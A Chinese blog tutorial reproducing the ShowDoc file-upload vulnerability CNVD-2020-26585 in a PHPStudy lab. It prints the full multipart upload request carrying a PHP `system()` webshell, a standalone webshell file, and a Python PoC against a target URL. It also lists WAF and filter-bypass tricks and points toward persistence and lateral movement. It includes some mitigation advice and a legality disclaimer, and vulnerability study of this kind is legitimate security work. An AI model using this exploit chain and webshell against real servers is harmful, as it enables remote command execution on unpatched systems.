当前位置: 首页 > news >正文

ShowDoc旧版本文件上传漏洞实战复现(CNVD-2020-26585,附PHPStudy环境搭建)

ShowDoc文件上传漏洞深度解析与实战复现指南

1. 漏洞背景与环境搭建

ShowDoc作为一款广受欢迎的在线文档协作工具,曾因文件上传功能的设计缺陷导致严重安全漏洞(CNVD-2020-26585)。这个漏洞的核心在于前端校验可被绕过,允许攻击者上传恶意脚本文件。我们先从基础环境搭建开始。

本地测试环境推荐配置

组件版本要求备注
PHPStudyv8.1或更高集成Apache/MySQL环境
ShowDocv2.8.2以下版本漏洞影响版本
Burp SuiteCommunity/Pro用于拦截和修改HTTP请求
蚁剑最新版WebShell管理工具

安装PHPStudy后,按以下步骤配置ShowDoc:

  1. 下载ShowDoc v2.8.1版本(可从GitHub releases获取历史版本)
  2. 解压到PHPStudy的WWW目录
  3. 访问http://localhost/showdoc完成安装向导
  4. 创建测试文档页面备用

注意:实验环境请使用虚拟机或隔离网络,避免真实系统受影响

2. 漏洞原理深度剖析

这个文件上传漏洞的特别之处在于它结合了多种安全缺陷:

  • 前端校验依赖:仅通过JavaScript验证文件扩展名
  • MIME类型混淆:服务端未严格校验Content-Type
  • 路径可预测:上传后的文件路径有固定规律
POST /index.php?s=/home/page/uploadImg HTTP/1.1 Host: localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php" Content-Type: text/plain <?php system($_GET['cmd']); ?> ------WebKitFormBoundaryABC123--

关键攻击点分析:

  1. 使用特殊字符<>绕过基础过滤
  2. 伪造Content-Type为text/plain
  3. 利用服务端未清理文件名中的特殊字符

3. 完整复现步骤详解

3.1 准备攻击载荷

创建包含以下代码的PHP文件(如shell.php):

<?php // 简易WebShell if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } else { echo "Server: ".php_uname(); } ?>

3.2 Burp Suite拦截修改

  1. 在ShowDoc上传界面选择任意图片文件
  2. 开启Burp Suite拦截(Proxy → Intercept on)
  3. 修改关键请求参数:
- Content-Disposition: form-data; name="editormd-image-file"; filename="test.jpg" + Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php" - Content-Type: image/jpeg + Content-Type: text/plain

3.3 获取WebShell

成功上传后,响应会包含文件路径:

{ "success": 1, "message": "上传成功", "url": "/Public/Uploads/2023-08/test.<>php" }

访问该路径即可执行系统命令:

http://localhost/showdoc/Public/Uploads/2023-08/test.<>php?cmd=whoami

4. 防御方案与安全启示

4.1 临时修复措施

对于仍在使用旧版本ShowDoc的用户,建议:

  1. application/extra/upload.php中添加严格过滤:

    $deny_ext = array('php','php5','php4','php3','phtml','htaccess');
  2. 修改Nginx/Apache配置,禁止执行上传目录的PHP文件

4.2 安全开发建议

文件上传功能的安全检查清单

  • [ ] 服务端文件类型校验(MIME检测)
  • [ ] 文件内容签名验证
  • [ ] 随机重命名上传文件
  • [ ] 设置上传目录不可执行
  • [ ] 文件扩展名白名单机制
  • [ ] 文件大小限制

经验分享:在实际渗透测试中,遇到文件上传功能时,可以尝试以下测试向量:

  • 双扩展名(test.php.jpg)
  • 大小写变异(test.PhP)
  • 特殊字符注入(test.%00.php)
  • 超长文件名

5. 漏洞研究进阶方向

掌握了基础复现方法后,可以进一步探索:

  1. 自动化利用脚本开发:使用Python编写PoC

    import requests url = "http://target.com/index.php?s=/home/page/uploadImg" files = {'editormd-image-file': ('shell.<>php', '<?php system($_GET[cmd]);?>', 'text/plain')} response = requests.post(url, files=files)
  2. 权限维持技术:如何将WebShell隐藏得更深

  3. 内网渗透路径:通过WebShell进行横向移动

在实际测试中,发现某些WAF会对<>字符进行拦截,此时可以尝试其他特殊字符组合,如:

  • 换行符\n注入
  • Unicode编码绕过
  • 分块传输编码

最后提醒:所有安全研究都应在合法授权范围内进行,漏洞复现的目的是为了更好地防御。建议在本地搭建的测试环境中练习这些技术,切勿对未授权系统进行测试

http://www.gsyq.cn/news/1413046.html

相关文章:

  • 对比直接调用与通过 Taotoken 调用大模型的响应体感差异
  • 告别模糊时代:用Real-ESRGAN-GUI轻松实现图片高清修复的终极指南
  • 2026济南企服机构实力测评:7家靠谱财税/资质服务商全解析 - 资讯速览
  • 如何免费解锁网盘全速下载:3个高效工具使用秘诀
  • vectorbt量化交易框架:矩阵思维下的高性能回测引擎终极指南
  • YOLOv5/v7的Neck模块实战:手把手教你读懂并修改PANet代码(附mmdetection/nanodet对比)
  • 5分钟掌握终极矢量转换技巧:让模糊图片无限放大不失真
  • 从‘微观’到‘宏观’:图解多分类任务中Precision和Recall为何在Micro平均下总相等
  • 3分钟搞定歌词下载:网易云QQ音乐歌词获取终极方案
  • 基于Azure AI构建企业级智能对话机器人:从RAG架构到实战指南
  • 深度探索Loop窗口管理器:5个实战技巧解决快捷键冲突问题
  • Windows脚本“瑞士军刀”:Wscript.Shell的Run和Popup方法在故障排查与通知中的妙用
  • 告别闪烁!用STM32和Simulink搞定LED的PWM调光(附滤波电路仿真避坑)
  • 2026深圳香奈儿回收排名,收的顶综合实力靠前机构 - 奢侈品回收测评
  • UWPHook完整指南:实现UWP游戏Steam集成的终极解决方案
  • STM32 HAL库外部中断捕获PPM信号避坑指南:为什么你的通道值总跳变?
  • 告别mmwaveStudio卡顿!手把手教你用Python脚本+DCA1000采集IWR1642原始数据
  • 中山企业AI搜索没排名怎么办 - 资讯速览
  • 2026年运营商主机安全防护产品盘点,企业服务器安全平台及风险闭环处置平台推荐 - 品牌2025
  • 2026汕头澄海全屋定制选型指南:从材料透明到交付标准的硬核对比 - 年度推荐企业名录
  • 保姆级教程:用串级PID手把手教你理解多旋翼无人机的姿态控制(附ArduPilot/ PX4控制框图解析)
  • 深入SYN6658数据帧:手把手教你用串口调试助手玩转YS-V6语音模块(避坑通信时序)
  • LibreDWG终极指南:如何免费高效处理CAD图纸文件?[特殊字符]
  • NTC103和PT100选哪个?从成本、精度到代码实现,一次讲清温度传感器怎么选
  • Word文档导出为图片的方法有哪些?2026保姆级教程一看就会
  • 别再为云上多租户安全发愁了:手把手配置华为防火墙虚拟系统做安全网关
  • 如何快速提升英雄联盟竞技水平:League Akari工具箱完整指南
  • 构建自我评估AI智能体:从可信度到持续进化的闭环设计
  • Unlock-Music:你的音乐自由钥匙,打破平台加密限制的浏览器工具
  • FFmpegGUI:重新定义视频处理工作流的跨平台图形界面工具